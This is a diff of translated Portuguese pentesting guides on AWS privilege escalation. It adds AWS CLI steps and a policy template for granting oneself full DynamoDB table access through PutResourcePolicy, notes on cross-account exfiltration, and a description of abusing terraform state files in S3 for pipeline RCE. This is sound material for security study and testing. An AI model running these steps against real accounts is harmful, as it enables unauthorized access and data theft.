Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md

@@ -10,9 +10,58 @@ Para mais informações sobre dynamodb, consulte:
 ../aws-services/aws-dynamodb-enum.md
 {{#endref}}
 
+### `dynamodb:PutResourcePolicy`, e opcionalmente `dynamodb:GetResourcePolicy`
+
+Desde março de 2024, a AWS oferece *políticas baseadas em recursos* para DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).
+
+Assim, se você tiver o `dynamodb:PutResourcePolicy` para uma tabela, pode simplesmente conceder a si mesmo ou a qualquer outro principal acesso total à tabela.
+
+Conceder o `dynamodb:PutResourcePolicy` a um principal aleatório muitas vezes acontece por acidente, se os administradores acharem que conceder `dynamodb:Put*` permitiria apenas que o principal inserisse itens no banco de dados - ou se concederam esse conjunto de permissões antes de março de 2024...
+
+Idealmente, você também deve ter `dynamodb:GetResourcePolicy`, para que não sobrescreva outras permissões potencialmente vitais, mas apenas injete as permissões adicionais de que precisa:
+```bash
+# get the current resource based policy (if it exists) and save it to a file
+aws dynamodb get-resource-policy \
+--resource-arn <table_arn> \
+--query 'Policy' \
+--output text > policy.json
+```
+Se você não conseguir recuperar a política atual, use esta que concede acesso total à tabela para seu principal:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "FullAccessToDynamoDBTable",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
+},
+"Action": [
+"dynamodb:*"
+],
+"Resource": [
+"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
+]
+}
+]
+}
+```
+Se você precisar personalizá-lo, aqui está uma lista de todas as ações possíveis do DynamoDB: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). E aqui está uma lista de todas as ações que podem ser permitidas por meio de uma política baseada em recursos *E quais dessas podem ser usadas entre contas (pense em exfiltração de dados!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)
+
+Agora, com o documento de política `policy.json` pronto, coloque a política de recursos:
+```bash
+# put the new policy using the prepared policy file
+# dynamodb does weirdly not allow a direct file upload
+aws dynamodb put-resource-policy \
+--resource-arn <table_arn> \
+--policy "$(cat policy.json)"
+```
+Agora, você deve ter as permissões necessárias.
+
 ### Pós Exploração
 
-Até onde eu sei, **não há uma maneira direta de escalar privilégios na AWS apenas tendo algumas permissões de `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais da AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na **página de Pós Exploração do DynamoDB**:
+Até onde sei, **não há outra maneira direta de escalar privilégios na AWS apenas tendo algumas permissões do `dynamodb`**. Você pode **ler informações sensíveis** das tabelas (que podem conter credenciais da AWS) e **escrever informações nas tabelas** (o que pode acionar outras vulnerabilidades, como injeções de código lambda...) mas todas essas opções já estão consideradas na **página de Pós Exploração do DynamoDB**:
 
 {{#ref}}
 ../aws-post-exploitation/aws-dynamodb-post-exploitation.md

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md

@@ -50,9 +50,22 @@ Aqui estão alguns exemplos:
 
 - Se uma instância EC2 estiver armazenando os **dados do usuário em um bucket S3**, um atacante poderia modificá-los para **executar código arbitrário dentro da instância EC2**.
 
+### `s3:PutObject`, `s3:GetObject` (opcional) sobre o arquivo de estado do terraform
+
+É muito comum que os arquivos de estado do [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) sejam salvos no armazenamento de blob dos provedores de nuvem, por exemplo, AWS S3. O sufixo do arquivo para um arquivo de estado é `.tfstate`, e os nomes dos buckets geralmente também indicam que contêm arquivos de estado do terraform. Normalmente, cada conta AWS tem um desses buckets para armazenar os arquivos de estado que mostram o estado da conta.\
+Além disso, geralmente, em contas do mundo real, quase sempre todos os desenvolvedores têm `s3:*` e às vezes até usuários de negócios têm `s3:Put*`.
+
+Portanto, se você tiver as permissões listadas sobre esses arquivos, há um vetor de ataque que permite que você obtenha RCE no pipeline com os privilégios de `terraform` - na maioria das vezes `AdministratorAccess`, tornando você o administrador da conta de nuvem. Além disso, você pode usar esse vetor para realizar um ataque de negação de serviço fazendo com que `terraform` exclua recursos legítimos.
+
+Siga a descrição na seção *Abusing Terraform State Files* da página *Terraform Security* para código de exploit diretamente utilizável:
+
+{{#ref}}
+terraform-security.md#abusing-terraform-state-files
+{{#endref}}
+
 ### `s3:PutBucketPolicy`
 
-Um atacante, que precisa ser **da mesma conta**, caso contrário, o erro `The specified method is not allowed will trigger`, com essa permissão poderá conceder a si mesmo mais permissões sobre o(s) bucket(s), permitindo-lhe ler, escrever, modificar, excluir e expor buckets.
+Um atacante, que precisa estar **na mesma conta**, caso contrário, o erro `The specified method is not allowed will trigger`, com essa permissão poderá conceder a si mesmo mais permissões sobre o(s) bucket(s), permitindo-lhe ler, escrever, modificar, excluir e expor buckets.
 ```bash
 # Update Bucket policy
 aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>